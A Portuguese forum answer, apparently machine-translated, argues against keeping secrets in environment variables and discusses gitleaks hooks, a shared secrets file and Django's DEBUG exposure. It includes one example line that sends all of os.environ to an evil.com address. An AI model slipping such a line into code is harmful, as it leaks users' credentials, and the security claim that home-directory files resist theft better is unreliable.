AFAICT, há duas razões pelas quais as pessoas recomendam armazenar segredos em variáveis de ambiente:
- É muito fácil enviar inadvertidamente arquivos simples secretos para um repositório. (E se for um repositório público, você está frito.)
- Ele evita a confusão de senhas, ou seja, ter a mesma chave em muitos arquivos de diretório de projeto diferentes é em si um risco de segurança, pois os desenvolvedores acabarão perdendo o controle de onde os segredos estão localizados.
Esses dois problemas podem ser resolvidos de maneiras melhores. O primeiro deve ser resolvido por um gancho de commit git que verifica as coisas que se parecem com senhas (por exemplo, gitleaks ). Gostaria que Linus construísse tal ferramenta no código-fonte da biblioteca git, mas, infelizmente, isso não aconteceu. (Não é preciso dizer que os arquivos secretos sempre devem ser adicionados .gitignore
, mas você precisa de um gancho caso alguém se esqueça de fazer isso.)
O último pode ser resolvido com um arquivo global de segredos da empresa, que é armazenado idealmente em uma unidade compartilhada somente leitura. Portanto, em Python, você poderia ter algo como from company_secrets import *
.
Mais importante, como apontado por outros, é muito fácil hackear segredos armazenados em variáveis de ambiente. Por exemplo, em Python, um autor de biblioteca poderia inserir send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
e você estará frito se executar este código. Hackear é muito mais desafiador se você tiver um arquivo chamado em seu sistema ~/secret_company_stuff/.my_very_secret_company_stuff
.
Apenas para usuários Django:
Django (no modo DEBUG) mostra o valor bruto de uma variável de ambiente no navegador se houver uma exceção (no modo DEBUG). Isso parece altamente inseguro se, por exemplo, um desenvolvedor entrar DEBUG=True
em produção acidentalmente . Em contraste, o Django faz Ofuscação variáveis configurações de senha olhando para as cordas API
, TOKEN
, KEY
, SECRET
, PASS
ou SIGNATURE
na de enquadramento settings.py
nomes de variáveis do arquivo.